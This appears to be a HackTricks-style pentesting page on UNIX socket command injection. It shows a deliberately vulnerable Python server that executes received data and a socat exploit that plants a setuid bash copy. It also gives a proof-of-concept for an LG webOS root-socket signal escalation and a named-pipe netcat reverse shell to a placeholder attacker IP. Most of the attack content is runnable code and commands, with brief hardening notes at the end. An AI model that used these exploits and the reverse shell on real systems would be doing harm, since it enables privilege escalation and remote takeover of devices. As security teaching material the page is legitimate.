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90 lines
3.2 KiB
Markdown
90 lines
3.2 KiB
Markdown
# Socket Command Injection
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{{#include ../../banners/hacktricks-training.md}}
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## Socket binding example with Python
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In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
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```python:s.py
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import socket
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import os, os.path
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import time
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from collections import deque
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if os.path.exists("/tmp/socket_test.s"):
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os.remove("/tmp/socket_test.s")
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server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
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server.bind("/tmp/socket_test.s")
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os.system("chmod o+w /tmp/socket_test.s")
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while True:
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server.listen(1)
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conn, addr = server.accept()
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datagram = conn.recv(1024)
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if datagram:
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print(datagram)
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os.system(datagram)
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conn.close()
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```
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**Execute** the code using python: `python s.py` and **check how the socket is listening**:
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```python
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netstat -a -p --unix | grep "socket_test"
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(Not all processes could be identified, non-owned process info
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will not be shown, you would have to be root to see it all.)
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unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
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```
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**Exploit**
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```python
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echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
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```
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## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
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Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
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Observed pattern:
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- Connect to a root-owned socket (e.g., /tmp/remotelogger).
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- Create a thread and obtain its native thread id (TID).
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- Send the TID (packed) plus padding as a request; receive an acknowledgement.
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- Deliver a specific signal to that TID to trigger the privileged behaviour.
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Minimal PoC sketch:
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```python
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import socket, struct, os, threading, time
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# Spawn a thread so we have a TID we can signal
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th = threading.Thread(target=time.sleep, args=(600,)); th.start()
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tid = th.native_id # Python >=3.8
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s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
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s.connect("/tmp/remotelogger")
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s.sendall(struct.pack('<L', tid) + b'A'*0x80)
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s.recv(4) # sync
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os.kill(tid, 4) # deliver SIGILL (example from the case)
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```
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To turn this into a root shell, a simple named-pipe + nc pattern can be used:
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```bash
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rm -f /tmp/f; mkfifo /tmp/f
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cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
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```
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Notes:
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- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic.
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- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers.
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## References
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- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
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{{#include ../../banners/hacktricks-training.md}}
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